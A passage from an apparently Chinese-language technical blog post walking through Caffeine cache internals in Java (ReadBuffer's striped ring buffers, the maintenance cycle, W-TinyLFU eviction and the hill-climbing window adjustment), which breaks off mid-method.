        // 检查节点没有在进行异步计算
        if (!isComputingAsync(node)) {
            @SuppressWarnings("unchecked")
            K castedKey = (K) key;
            // 更新访问时间
            setAccessTime(node, now);
            // 更新读后过期时间
            tryExpireAfterRead(node, castedKey, value, expiry(), now);
        }
        // 处理读取后操作(主要关注)
        V refreshed = afterRead(node, now, recordStats);
        return (refreshed == null) ? value : refreshed;
    }
}

getIfPresent 方法中,部分内容我们已经在上文中介绍过,比如 scheduleDrainBuffers 方法。最后一步 afterRead 方法是我们本次关注的重点,从命名来看它表示“读后操作”接下来看看它的具体流程:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    final Buffer<Node<K, V>> readBuffer;
    
    @Nullable
    V afterRead(Node<K, V> node, long now, boolean recordHit) {
        // 更新统计命中
        if (recordHit) {
            statsCounter().recordHits(1);
        }

        // 注意这里如果 skipReadBuffer 为 false,那么它会执行 readBuffer.offer(node) 逻辑,向 ReadBuffer 中添加待处理元素
        boolean delayable = skipReadBuffer() || (readBuffer.offer(node) != Buffer.FULL);
        // 判断是否需要延迟处理维护任务
        if (shouldDrainBuffers(delayable)) {
            scheduleDrainBuffers();
        }
        // 处理必要的刷新操作
        return refreshIfNeeded(node, now);
    }

    boolean skipReadBuffer() {
        // fastpath 方法访问元素是否可以跳过“通知”驱逐策略,true 表示跳过
        // 第二个判断条件判断频率草图是否初始化,如果“未初始化”则返回 true
        return fastpath() && frequencySketch().isNotInitialized();
    }

    // 状态流转,没有满 delayable 为 true 表示延迟执行维护任务
    boolean shouldDrainBuffers(boolean delayable) {
        switch (drainStatusOpaque()) {
            case IDLE:
                return !delayable;
            // 当前有任务需要处理则调度维护任务执行,否则均延迟执行    
            case REQUIRED:
                return true;
            case PROCESSING_TO_IDLE:
            case PROCESSING_TO_REQUIRED:
                return false;
            default:
                throw new IllegalStateException("Invalid drain status: " + drainStatus);
        }
    }
}

该方法非常简单,都是熟悉的内容,只有数据结构 ReadBuffer 还没深入了解过,它也是在 Caffeine 的构造方法中完成初始化的。

ReadBuffer

以下为 ReadBuffer 在 Caffeine 缓存中完成初始化的逻辑:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef
        implements LocalCache<K, V> {

    final Buffer<Node<K, V>> readBuffer;
    
    protected BoundedLocalCache(Caffeine<K, V> builder,
                                @Nullable AsyncCacheLoader<K, V> cacheLoader, boolean isAsync) {
        // ...
        
        // 如果指定了过期策略或 key 定义了 week refenence value 定义了 week or soft reference 或定义了访问后过期策略 则 创建 BoundBuffer
        readBuffer = evicts() || collectKeys() || collectValues() || expiresAfterAccess()
                ? new BoundedBuffer<>()
                : Buffer.disabled();
    }
}

Buffer.disabled() 会创建如下枚举来表示 DisabledBuffer:

enum DisabledBuffer implements Buffer<Object> {
    INSTANCE;

    @Override
    public int offer(Object e) {
        return Buffer.SUCCESS;
    }

    @Override
    public void drainTo(Consumer<Object> consumer) {
    }

    @Override
    public long size() {
        return 0;
    }

    @Override
    public long reads() {
        return 0;
    }

    @Override
    public long writes() {
        return 0;
    }
}

满足其中条件判断时,ReadBuffer 的实际类型为 BoundedBuffer,它的类关系图如下:

BoundBuffer.drawio.png

Buffer 接口的注释声明中,能获取很多有效信息:它同样也是 多生产者单消费者(MPSC) 缓冲区,上文我们在介绍 WriteBuffer 时,它的单消费者实现方式是加同步锁,ReadBuffer 的实现单消费者的方式一样,因为它们都是在维护方法 maintenance 中加同步锁对元素进行消费。不同的是,如果 ReadBuffer 缓冲区满了或者发生争抢则会拒绝添加新元素,而且它不像队列或栈,不保证 FIFO 或 LIFO

A multiple-producer / single-consumer buffer that rejects new elements if it is full or fails spuriously due to contention. Unlike a queue and stack, a buffer does not guarantee an ordering of elements in either FIFO or LIFO order. Beware that it is the responsibility of the caller to ensure that a consumer has exclusive read access to the buffer. This implementation does not include fail-fast behavior to guard against incorrect consumer usage.

在类关系图中,抽象类 StripedBuffer 的实现最值得学习,它采用了分段设计(Striped)和CAS操作实现高效并发写入。分段是将缓冲区分成多个“段”,根据线程的探针值将它们哈希到不同的“段”,减少竞争,接下来我们看一下它具体的实现逻辑,首先是 StripedBuffer#offer 方法:

abstract class StripedBuffer<E> implements Buffer<E> {

    volatile Buffer<E> @Nullable[] table;
    
    @Override
    public int offer(E e) {
        // 扰动函数计算 64位 线程探针值
        long z = mix64(Thread.currentThread().getId());
        // 取高 32 位值,位或 1 保证它为奇数
        int increment = ((int) (z >>> 32)) | 1;
        // 转换为 int 32 位
        int h = (int) z;

        // 掩码值为已分段的缓冲区数量-1
        int mask;
        int result;
        // 线程哈希到的具体缓冲区
        Buffer<E> buffer;
        // 未竞争标志位
        boolean uncontended = true;
        Buffer<E>[] buffers = table;
        if ((buffers == null)
                || ((mask = buffers.length - 1) < 0)
                // 位与运算获取缓冲区
                || ((buffer = buffers[h & mask]) == null)
                // 向缓冲区中添加元素
                || !(uncontended = ((result = buffer.offer(e)) != Buffer.FAILED))) {
            // 扩容或重试操作
            return expandOrRetry(e, h, increment, uncontended);
        }
        return result;
    }
}

StripedBuffer 中我们能发现定义了 volatile Buffer<E> @Nullable[] table 是数组的形式,这便对应了它“分段”的思想,将元素保存在多个缓冲区中。通过线程探针值哈希获取对应的缓冲区,逻辑并不复杂。expandOrRetry 方法我们稍后再介绍,我们先假设线程哈希到的具体缓冲区 Buffer<E> buffer 对象已经被创建,那么它会执行 buffer.offer(e) 方法。Buffer<E> buffer 对应的实现类为定义在 BoundedBuffer 的静态内部类 RingBuffer,它也实现了 Buffer 接口,源码如下:

final class BoundedBuffer<E> extends StripedBuffer<E> {

    static final int BUFFER_SIZE = 16;
    static final int MASK = BUFFER_SIZE - 1;
    
    static final class RingBuffer<E> extends BBHeader.ReadAndWriteCounterRef implements Buffer<E> {
        static final VarHandle BUFFER = MethodHandles.arrayElementVarHandle(Object[].class);

        final Object[] buffer;

        // 有参构造,这里表示缓冲区是被延迟创建的,创建时第一个元素便为 e
        public RingBuffer(E e) {
            buffer = new Object[BUFFER_SIZE];
            BUFFER.set(buffer, 0, e);
            WRITE.set(this, 1);
        }

        @Override
        public int offer(E e) {
            // ReadCounterRef#readCounter
            long head = readCounter;
            // ReadAndWriteCounterRef#writeCounter
            long tail = writeCounterOpaque();
            // 计算可操作容量 size
            long size = (tail - head);
            // 超过缓存大小则证明它已经满了
            if (size >= BUFFER_SIZE) {
                return Buffer.FULL;
            }
            // CAS 更新 writeCounter 为 writeCounter+1
            if (casWriteCounter(tail, tail + 1)) {
                // 位与掩码值获取缓冲区中的索引
                int index = (int) (tail & MASK);
                // 将元素 e 更新在指定索引处
                BUFFER.setRelease(buffer, index, e);
                return Buffer.SUCCESS;
            }
            return Buffer.FAILED;
        }

        @Override
        public void drainTo(Consumer<E> consumer) {
            // ReadCounterRef#readCounter
            long head = readCounter;
            // ReadAndWriteCounterRef#writeCounter
            long tail = writeCounterOpaque();
            // 计算可操作容量 size
            long size = (tail - head);
            // size 为 0 表示无元素可操作
            if (size == 0) {
                return;
            }
            // 循环遍历消费缓冲区中所有元素
            do {
                // 计算具体的索引
                int index = (int) (head & MASK);
                @SuppressWarnings("unchecked")
                E e = (E) BUFFER.getAcquire(buffer, index);
                // 索引处元素为空表示无元素可消费
                if (e == null) {
                    break;
                }
                // 获取到具体元素后将缓冲区该元素位置更新成 null
                BUFFER.setRelease(buffer, index, null);
                // 执行消费逻辑
                consumer.accept(e);
                // head累加
                head++;
            } while (head != tail);
            // 更新读索引的值
            setReadCounterOpaque(head);
        }
    }
}

final class BBHeader {

    @SuppressWarnings("PMD.AbstractClassWithoutAbstractMethod")
    abstract static class PadReadCounter {
        byte p000, /*省略118字节占位符...*/ p119;
    }
    
    abstract static class ReadCounterRef extends PadReadCounter {
        volatile long readCounter;
    }

    abstract static class PadWriteCounter extends ReadCounterRef {
        byte p120, /*省略118字节占位符...*/ p239;
    }
    
    abstract static class ReadAndWriteCounterRef extends PadWriteCounter {
        static final VarHandle READ, WRITE;

        volatile long writeCounter;

        // ...
    }
}

BBHeader 类中又看到了熟悉的 120 字节内存占位,在上文中我们详细介绍过,这样能够保证 readCounterwriteCounter 分布在不同内存行,避免了内存伪共享问题,保证不同线程读取这两个字段时互不影响。在添加元素的 offer 方法和消费元素的 drainTo 方法中,都能看见它使用了“读索引readCounter”和“写索引writeCounter”,这也对应了它命名中的 RingRing 表示环形,读、写索引在操作过程中会不断累加,但是它会执行位与运算保证索引值一直落在缓冲区长度的有效范围内,也就是说这两个索引值会不断在有效索引范围内“转圈”,则形成一个“环形”缓冲区。

RingBuffer 通过 CAS 操作来确保并发添加元素操作的安全,如果 CAS 操作失败则返回 Buffer.FAILED,这时便会执行 StripedBuffer#expandOrRetry 方法,我们先来看一下它的方法注释内容,它说:这个方法用于处理写过程中发生的初始化、扩容、创建新缓存或竞争写情况。

Handles cases of updates involving initialization, resizing, creating new Buffers, and/ or contention.

具体源码如下:

abstract class StripedBuffer<E> implements Buffer<E> {
    // 最大尝试 3 次
    static final int ATTEMPTS = 3;

    // table 的最大大小
    static final int MAXIMUM_TABLE_SIZE = 4 * ceilingPowerOfTwo(NCPU);
    
    // 1 表示忙碌(扩容或正在创建)0 表示缓冲区无操作,通过 CAS 操作进行更新
    volatile int tableBusy;
    
    volatile Buffer<E> @Nullable[] table;

    /**
     * 扩展或重试
     *  
     * @param e 元素
     * @param h 调用该方法时为线程探针值高 32 位,但在方法中会变更
     * @param increment 线程探针值高 32 位
     * @param wasUncontended true 未发生竞争 false 发生竞争
     */
    final int expandOrRetry(E e, int h, int increment, boolean wasUncontended) {
        int result = Buffer.FAILED;
        // true 标志缓冲区中最后一个槽位非空 false 表示为空
        boolean collide = false;
        for (int attempt = 0; attempt < ATTEMPTS; attempt++) {
            Buffer<E>[] buffers;
            Buffer<E> buffer;
            int n;
            // 如果缓冲区数组已经被创建
            if (((buffers = table) != null) && ((n = buffers.length) > 0)) {
                // 检查具体的缓冲区是否为空
                if ((buffer = buffers[(n - 1) & h]) == null) {
                    // 准备创建缓冲区,并更新 tableBusy 标志为 1
                    if ((tableBusy == 0) && casTableBusy()) {
                        boolean created = false;
                        try { 
                            Buffer<E>[] rs;
                            int mask, j;
                            if (((rs = table) != null) && ((mask = rs.length) > 0)
                                    && (rs[j = (mask - 1) & h] == null)) {
                                // 创建缓冲区 return new RingBuffer<>(e);
                                rs[j] = create(e);
                                created = true;
                            }
                        } finally {
                            tableBusy = 0;
                        }
                        // 如果创建成功
                        if (created) {
                            result = Buffer.SUCCESS;
                            break;
                        }
                        // 缓冲区已经被其他线程创建了,重新循环重试
                        continue;
                    }
                    collide = false;
                }
                // 如果发生竞争,表示向缓冲区中CAS添加元素失败
                else if (!wasUncontended) {
                    wasUncontended = true;
                } 
                // 如果重试添加元素成功,结束循环
                else if ((result = buffer.offer(e)) != Buffer.FAILED) {
                    break;
                }
                // table 超过最大大小或已完成扩容但未变更引用(stale)
                else if ((n >= MAXIMUM_TABLE_SIZE) || (table != buffers)) {
                    collide = false;
                } else if (!collide) {
                    collide = true;
                }
                // 扩容操作,将缓冲区数组扩容为原来的两倍大小
                // 扩容条件:未超过最大 table 限制且重试添加元素依然失败
                else if ((tableBusy == 0) && casTableBusy()) {
                    try {
                        if (table == buffers) {
                            table = Arrays.copyOf(buffers, n << 1);
                        }
                    } finally {
                        tableBusy = 0;
                    }
                    collide = false;
                    continue;
                }
                // 变更探针哈希值,尝试下一个索引位置
                h += increment;
            }
            // 缓冲区数组的初始化逻辑
            else if ((tableBusy == 0) && (table == buffers) && casTableBusy()) {
                boolean init = false;
                try {
                    if (table == buffers) {
                        // 初始大小为 1,会随着扩容不断将容量扩大两倍
                        @SuppressWarnings({"rawtypes", "unchecked"})
                        Buffer<E>[] rs = new Buffer[1];
                        rs[0] = create(e);
                        table = rs;
                        init = true;
                    }
                } finally {
                    tableBusy = 0;
                }
                // 完成初始化,元素添加成功
                if (init) {
                    result = Buffer.SUCCESS;
                    break;
                }
            }
        }
        return result;
    }
}

根据注释信息了解该方法的逻辑并不难,接下来我们再看一下它的消费方法 drainTo,非常简单:

abstract class StripedBuffer<E> implements Buffer<E> {
    volatile Buffer<E> @Nullable[] table;
    
    @Override
    public void drainTo(Consumer<E> consumer) {
        Buffer<E>[] buffers = table;
        if (buffers == null) {
            return;
        }
        // 循环遍历消费所有缓冲区
        for (Buffer<E> buffer : buffers) {
            if (buffer != null) {
                buffer.drainTo(consumer);
            }
        }
    }
}

总结一下,ReadBuffer 是一个 MPSC 的缓冲区,采用了分段的设计,将缓冲区划分为多份,根据线程的探针值哈希到不同的缓冲区,减少竞争的发生,并使用CAS操作来保证多线程下写入操作高效执行。因为它没有记录元素的写入顺序,所以它并不会像栈或队列一样保证 FIFO 或 LIFO。随着写入竞争发生会不断对缓冲区数组扩容,每次扩容为原来大小的两倍,每个缓冲区为环形缓冲区,通过位与运算计算元素实际的索引,将被消费的元素标记为 null 实现缓冲区中槽位的重用。

现在读写方法已经了解差不多了,需要我们再次回到维护方法 maintenance 中,看一看消费读缓冲区和其他逻辑。

maintenance

维护方法 maintenance 如下所示,第 2 步中处理写缓冲区任务的逻辑已在上文中介绍过,接下来我们会关注第 1 步的处理读缓冲区任务,第 4 步驱逐策略和第 5 步的 “增值(climb)”操作。

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    @GuardedBy("evictionLock")
    void maintenance(@Nullable Runnable task) {
        // 更新状态为执行中
        setDrainStatusRelease(PROCESSING_TO_IDLE);

        try {
            // 1. 处理读缓冲区中的任务
            drainReadBuffer();

            // 2. 处理写缓冲区中的任务
            drainWriteBuffer();
            if (task != null) {
                task.run();
            }

            // 3. 处理 key 和 value 的引用
            drainKeyReferences();
            drainValueReferences();

            // 4. 过期和驱逐策略
            expireEntries();
            evictEntries();

            // 5. “增值” 操作
            climb();
        } finally {
            // 状态不是 PROCESSING_TO_IDLE 或者无法 CAS 更新为 IDLE 状态的话,需要更新状态为 REQUIRED,该状态会再次执行维护任务
            if ((drainStatusOpaque() != PROCESSING_TO_IDLE) || !casDrainStatus(PROCESSING_TO_IDLE, IDLE)) {
                setDrainStatusOpaque(REQUIRED);
            }
        }
    }
}

drainReadBuffer

首先我们来看处理读缓冲区的逻辑,源码如下:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    final Buffer<Node<K, V>> readBuffer;

    final Consumer<Node<K, V>> accessPolicy;

    @GuardedBy("evictionLock")
    void drainReadBuffer() {
        if (!skipReadBuffer()) {
            readBuffer.drainTo(accessPolicy);
        }
    }

}

它会执行到 StripedBuffer#drainTo 方法,并且入参了 Consumer<Node<K, V>> accessPolicy 消费者。前者会遍历所有缓冲区中对象进行消费;后者在 caffeine 构造方法中完成初始化:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    final Buffer<Node<K, V>> readBuffer;

    final Consumer<Node<K, V>> accessPolicy;

    protected BoundedLocalCache(Caffeine<K, V> builder,
                                @Nullable AsyncCacheLoader<K, V> cacheLoader, boolean isAsync) {
        accessPolicy = (evicts() || expiresAfterAccess()) ? this::onAccess : e -> {
        };
    }
    
}

onAccess 方法在上文中也提到过,具体逻辑我们在这里赘述下:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    @GuardedBy("evictionLock")
    void onAccess(Node<K, V> node) {
        if (evicts()) {
            K key = node.getKey();
            if (key == null) {
                return;
            }
            // 更新访问频率
            frequencySketch().increment(key);
            // 如果节点在窗口区,则将其移动到尾节点
            if (node.inWindow()) {
                reorder(accessOrderWindowDeque(), node);
            }
            // 在试用区的节点执行 reorderProbation 方法,可能会将该节点从试用区晋升到保护区
            else if (node.inMainProbation()) {
                reorderProbation(node);
            }
            // 否则移动到保护区的尾结点
            else {
                reorder(accessOrderProtectedDeque(), node);
            }
            // 更新命中量
            setHitsInSample(hitsInSample() + 1);
        }
        // 配置了访问过期策略
        else if (expiresAfterAccess()) {
            reorder(accessOrderWindowDeque(), node);
        }
        // 配置了自定义时间过期策略
        if (expiresVariable()) {
            timerWheel().reschedule(node);
        }
    }
}

简单概括来说:ReadBuffer 中所有的元素都会被执行 onAccess 的逻辑,频率草图会被更新,窗口区元素会被移动到该区的尾结点,试用区元素在满足条件的情况下会被晋升到保护区。在原理图中补充 ReadBuffer 相关逻辑,相比于原有 put 方法的逻辑,ReadBuffer 的消费并没有引入特别“新颖”的内容:

caffeine-第 3 页.drawio.png

reorderProbation 方法中有一段注释比较有意思,它说:如果保护区空间超过它的最大值,它会将其中的元素降级到试用区。但是这个操作被推迟到 maintenance 方法的最后执行,也就是后续我们会介绍的 climb 方法,相当于是对缓存元素的移动做了剧透。

If the protected space exceeds its maximum, the LRU items are demoted to the probation space. This is deferred to the adaption phase at the end of the maintenance cycle.

evictEntries

evictEntries 方法注释这么描述:如果缓存超过最大值则将元素驱逐。

Evicts entries if the cache exceeds the maximum

它的主方法逻辑非常简单:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    @GuardedBy("evictionLock")
    void evictEntries() {
        if (!evicts()) {
            return;
        }
        // 从窗口区“驱逐”
        var candidate = evictFromWindow();
        // 从候选区或保护区进行驱逐
        evictFromMain(candidate);
    }
}

首先,先来看从窗口区“驱逐”的方法 evictFromWindow:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    @GuardedBy("evictionLock")
    @Nullable
    Node<K, V> evictFromWindow() {
        Node<K, V> first = null;
        // 获取队首元素
        Node<K, V> node = accessOrderWindowDeque().peekFirst();
        // 循环操作,直到窗口区权重小于窗口区权重最大限制
        while (windowWeightedSize() > windowMaximum()) {
            if (node == null) {
                break;
            }

            // 获取队首节点的下一个节点
            Node<K, V> next = node.getNextInAccessOrder();
            // 如果队首节点权重不为 0
            if (node.getPolicyWeight() != 0) {
                // 标记为试用区节点并移动到试用区尾节点
                node.makeMainProbation();
                accessOrderWindowDeque().remove(node);
                accessOrderProbationDeque().offerLast(node);
                // 记录队首节点引用
                if (first == null) {
                    first = node;
                }

                // 更新窗口区权重
                setWindowWeightedSize(windowWeightedSize() - node.getPolicyWeight());
            }
            // node 记录操作完成后的下一个头节点
            node = next;
        }

        // 返回此时的头节点
        return first;
    }
}

该方法会根据窗口区最大权重限制 将节点由窗口区移动到试用区,直到窗口区内元素小于最大值限制,并不是直接调用 evictEntry 方法真正地将元素驱逐。如果已经在窗口区中将元素移动到试用区,那么接下来会以窗口区头节点会作为入参执行 evictFromMain 方法,它有非常详细的注释内容:

如果缓存超过最大容量限制,则将元素从主空间中移除。主空间通过频率草图决定从窗口区来的元素是被驱逐还是被保留,以便将使用频率最低的元素移除。

窗口区的元素被提升到试用区尾节点(MRU 位置),驱逐策略驱逐的元素从试用区头节点(LRU 位置)开始。在需要执行驱逐策略时,元素会按照由头节点到尾节点的顺序进行评估,如果评估完试用区和保护区仍然需要驱逐元素,那么则会从窗口区驱逐。相似地,如果试用区驱逐完元素后仍然不够,则需要从保护区检查元素进行驱逐。队列按照从头节点到尾节点的顺序消费,使用频率相对较低的元素先被驱逐,在相同频率的情况下,优先保留主空间中的元素而不是窗口区元素。

Evicts entries from the main space if the cache exceeds the maximum capacity. The main space determines whether admitting an entry (coming from the window space) is preferable to retaining the eviction policy's victim. This decision is made using a frequency filter so that the least frequently used entry is removed.

The window space's candidates were previously promoted to the probation space at its MRU position and the eviction policy's victim starts at the LRU position. The candidates are evaluated in promotion order while an eviction is required, and if exhausted then additional entries are retrieved from the window space. Likewise, if the victim selection exhausts the probation space then additional entries are retrieved the protected space. The queues are consumed in LRU order and the evicted entry is the one with a lower relative frequency, where the preference is to retain the main space's victims versus the window space's candidates on a tie.

接下来我们看下源码的具体实现:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    public static final int WINDOW = 0;
    public static final int PROBATION = 1;
    public static final int PROTECTED = 2;
    
    static final int ADMIT_HASHDOS_THRESHOLD = 6;
    
    // 为了方便理解,定义 victim 为驱逐区,candidate 为候选驱逐区,实际上它们不对应区域,而是对应某个区域中的节点元素
    @GuardedBy("evictionLock")
    void evictFromMain(@Nullable Node<K, V> candidate) {
        int victimQueue = PROBATION;
        int candidateQueue = PROBATION;
        // 首先获取试用区头节点作为首先要被驱逐的区域
        Node<K, V> victim = accessOrderProbationDeque().peekFirst();
        // 如果权重大小超过最大值,不断地执行驱逐策略,直到满足条件
        while (weightedSize() > maximum()) {
            // 如果候选驱逐区为空且候选驱逐区为试用区,则指定候选驱逐区为窗口区
            if ((candidate == null) && (candidateQueue == PROBATION)) {
                // 指定候选驱逐区为窗口区
                candidate = accessOrderWindowDeque().peekFirst();
                candidateQueue = WINDOW;
            }
            
            // 候选驱逐区和驱逐区都为空
            if ((candidate == null) && (victim == null)) {
                // 当前驱逐区为试用区,指定保护区为驱逐区
                if (victimQueue == PROBATION) {
                    victim = accessOrderProtectedDeque().peekFirst();
                    victimQueue = PROTECTED;
                    continue;
                }
                // 当前驱逐区为保护区,指定驱逐区为窗口区
                else if (victimQueue == PROTECTED) {
                    victim = accessOrderWindowDeque().peekFirst();
                    victimQueue = WINDOW;
                    continue;
                }

                // 没有更多元素供驱逐,则退出循环
                break;
            }

            // 跳过权重为 0 的元素,权重为 0 表示无需驱逐
            if ((victim != null) && (victim.getPolicyWeight() == 0)) {
                victim = victim.getNextInAccessOrder();
                continue;
            } else if ((candidate != null) && (candidate.getPolicyWeight() == 0)) {
                candidate = candidate.getNextInAccessOrder();
                continue;
            }

            // 如果要驱逐区为空,则从候选驱逐区中进行驱逐
            if (victim == null) {
                // 驱逐当前节点并将指针指向下一个节点 
                Node<K, V> previous = candidate.getNextInAccessOrder();
                Node<K, V> evict = candidate;
                candidate = previous;
                evictEntry(evict, RemovalCause.SIZE, 0L);
                continue;
            }
            // 候选驱逐区为空,在驱逐区中驱逐元素
            else if (candidate == null) {
                Node<K, V> evict = victim;
                victim = victim.getNextInAccessOrder();
                evictEntry(evict, RemovalCause.SIZE, 0L);
                continue;
            }

            // 驱逐区和候选驱逐区是同一个区的元素
            if (candidate == victim) {
                victim = victim.getNextInAccessOrder();
                evictEntry(candidate, RemovalCause.SIZE, 0L);
                candidate = null;
                continue;
            }

            // 如果元素已经被垃圾回收,则驱逐
            K victimKey = victim.getKey();
            K candidateKey = candidate.getKey();
            if (victimKey == null) {
                Node<K, V> evict = victim;
                victim = victim.getNextInAccessOrder();
                evictEntry(evict, RemovalCause.COLLECTED, 0L);
                continue;
            } else if (candidateKey == null) {
                Node<K, V> evict = candidate;
                candidate = candidate.getNextInAccessOrder();
                evictEntry(evict, RemovalCause.COLLECTED, 0L);
                continue;
            }

            // 如果元素已经被标记为删除,驱逐它们
            if (!victim.isAlive()) {
                Node<K, V> evict = victim;
                victim = victim.getNextInAccessOrder();
                evictEntry(evict, RemovalCause.SIZE, 0L);
                continue;
            } else if (!candidate.isAlive()) {
                Node<K, V> evict = candidate;
                candidate = candidate.getNextInAccessOrder();
                evictEntry(evict, RemovalCause.SIZE, 0L);
                continue;
            }

            // 如果候选区节点元素超过最大权重,直接驱逐
            if (candidate.getPolicyWeight() > maximum()) {
                Node<K, V> evict = candidate;
                candidate = candidate.getNextInAccessOrder();
                evictEntry(evict, RemovalCause.SIZE, 0L);
                continue;
            }

            // 驱逐频率较低的元素
            if (admit(candidateKey, victimKey)) {
                Node<K, V> evict = victim;
                victim = victim.getNextInAccessOrder();
                evictEntry(evict, RemovalCause.SIZE, 0L);
                // 变更候选区元素引用
                candidate = candidate.getNextInAccessOrder();
            } else {
                Node<K, V> evict = candidate;
                candidate = candidate.getNextInAccessOrder();
                evictEntry(evict, RemovalCause.SIZE, 0L);
            }
        }
    }

    @GuardedBy("evictionLock")
    boolean admit(K candidateKey, K victimKey) {
        // 获取候选驱逐区中元素频率
        int victimFreq = frequencySketch().frequency(victimKey);
        int candidateFreq = frequencySketch().frequency(candidateKey);
        // 候选区元素频率大于驱逐区中元素返回 true
        if (candidateFreq > victimFreq) {
            return true;
        }
        // 如果候选区元素频率大于 6
        else if (candidateFreq >= ADMIT_HASHDOS_THRESHOLD) {
            // 计算随机值来决定两元素之间的去留
            int random = ThreadLocalRandom.current().nextInt();
            return ((random & 127) == 0);
            // 使用计算随机值的方法来防止 HASH DOS 攻击,攻击者可能人为地将某些不被常用的缓存访问频率提高,如果不计算随机性那么会将真正有价值的元素驱逐,添加这种随机性计算可能减少这种攻击带来的影响,保证缓存的有效命中率
        }
        // 候选驱逐区元素小于驱逐区元素频率
        return false;
    }
}

方法虽然很长,但是逻辑清晰明了,元素的驱逐流程根据注释可以很明确的了解。窗口区中元素会优先被晋升到试用区,在试用区和保护区中不断的驱逐节点直到满足条件,如果驱逐完成之后还不满足条件则会从窗口区中驱逐元素,此外,在逻辑中使用随机驱逐的方式来减少 HASH DOS 攻击带来的影响也很值得学习,更新原理图如下:

caffeine-第 4 页.drawio.png

climb

现在我们来到了维护方法的最后一个步骤 climb 方法,看看它是如何为缓存“增值(climb)”的,源码如下:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    static final double HILL_CLIMBER_RESTART_THRESHOLD = 0.05d;

    static final double HILL_CLIMBER_STEP_PERCENT = 0.0625d;

    // 步长值衰减比率
    static final double HILL_CLIMBER_STEP_DECAY_RATE = 0.98d;

    static final int QUEUE_TRANSFER_THRESHOLD = 1_000;

    @GuardedBy("evictionLock")
    void climb() {
        if (!evicts()) {
            return;
        }

        // 确定要调整的量
        determineAdjustment();
        // 将保护区中的元素降级到试用区
        demoteFromMainProtected();
        // 获取第一步计算完毕的调整大小
        long amount = adjustment();
        // 不调整则结束,否则根据正负增大或减小窗口大小
        if (amount == 0) {
            return;
        } else if (amount > 0) {
            increaseWindow();
        } else {
            decreaseWindow();
        }
    }

    @GuardedBy("evictionLock")
    void determineAdjustment() {
        // 检查频率草图是否被初始化
        if (frequencySketch().isNotInitialized()) {
            // 没有被初始化则重置命中率、命中和未命中样本数
            setPreviousSampleHitRate(0.0);
            setMissesInSample(0);
            setHitsInSample(0);
            return;
        }

        // 请求总数 = 命中样本数 + 未命中样本数
        int requestCount = hitsInSample() + missesInSample();
        if (requestCount < frequencySketch().sampleSize) {
            return;
        }

        // 计算命中率、命中率变化
        double hitRate = (double) hitsInSample() / requestCount;
        double hitRateChange = hitRate - previousSampleHitRate();
        // 计算调整量,如果命中率增加获取正的步长值,否则获取负的步长值
        double amount = (hitRateChange >= 0) ? stepSize() : -stepSize();
        // 计算下一个步长值,如果变化量超过阈值,那么重新计算步长,否则按照固定衰减率计算
        double nextStepSize = (Math.abs(hitRateChange) >= HILL_CLIMBER_RESTART_THRESHOLD)
                ? HILL_CLIMBER_STEP_PERCENT * maximum() * (amount >= 0 ? 1 : -1)
                : HILL_CLIMBER_STEP_DECAY_RATE * amount;
        // 记录本次命中率作为下一次计算的依据
        setPreviousSampleHitRate(hitRate);
        // 记录要调整的量
        setAdjustment((long) amount);
        // 记录步长值
        setStepSize(nextStepSize);
        // 重置未命中和命中数量
        setMissesInSample(0);
        setHitsInSample(0);
    }

    @GuardedBy("evictionLock")
    void demoteFromMainProtected() {
        // 获取保护区的最大值和当前值
        long mainProtectedMaximum = mainProtectedMaximum();
        long mainProtectedWeightedSize = mainProtectedWeightedSize();
        // 当前值没有超过最大值则不处理
        if (mainProtectedWeightedSize <= mainProtectedMaximum) {
            return;
        }

        // 每次从保护区转换到试用区有 1000 个最大限制
        for (int i = 0; i < QUEUE_TRANSFER_THRESHOLD; i++) {
            // 一旦不超过最大阈值则停止
            if (mainProtectedWeightedSize <= mainProtectedMaximum) {
                break;
            }

            // 在保护区取出头节点
            Node<K, V> demoted = accessOrderProtectedDeque().poll();
            if (demoted == null) {
                break;
            }
            // 标记为试用区
            demoted.makeMainProbation();
            // 加入到试用区尾节点
            accessOrderProbationDeque().offerLast(demoted);
            // 计算变更后保护区权重大小
            mainProtectedWeightedSize -= demoted.getPolicyWeight();
        }
        // 更新保护区权重
        setMainProtectedWeightedSize(mainProtectedWeightedSize);
    }

    @GuardedBy("evictionLock")
    void increaseWindow() {
        // 保护区最大容量为 0 则没有可调整的空间
        if (mainProtectedMaximum() == 0) {
            return;
        }

        // 窗口调整的变化量由保护区贡献,取能够变化额度 quota 为 调整量adjustment 和 保护区最大值 中的小值
        long quota = Math.min(adjustment(), mainProtectedMaximum());
        // 减小保护区大小增加窗口区大小
        setMainProtectedMaximum(mainProtectedMaximum() - quota);
        setWindowMaximum(windowMaximum() + quota);
        // 保护区大小变动后,需要操作元素由保护区降级到试用区
        demoteFromMainProtected();

        // 窗口区增加容量之后,需要优先从试用区获取元素将增加的容量填满,如果试用区元素不够,则从保护区获取元素来填
        for (int i = 0; i < QUEUE_TRANSFER_THRESHOLD; i++) {
            // 获取试用区头节点为“候选节点”
            Node<K, V> candidate = accessOrderProbationDeque().peekFirst();
            boolean probation = true;
            // 如果试用区元素为空或者窗口调整的变化量要比该节点所占的权重小,那么尝试从保护区获取节点
            if ((candidate == null) || (quota < candidate.getPolicyWeight())) {
                candidate = accessOrderProtectedDeque().peekFirst();
                probation = false;
            }
            // 试用区和保护区均无节点,则无需处理,结束循环
            if (candidate == null) {
                break;
            }

            // 获取该候选节点的权重,如果可变化额度比候选权重小,那么无需处理
            int weight = candidate.getPolicyWeight();
            if (quota < weight) {
                break;
            }

            // 每移除一个节点更新需要可变化额度
            quota -= weight;
            // 如果是试用区节点,则直接在试用区移除
            if (probation) {
                accessOrderProbationDeque().remove(candidate);
            }
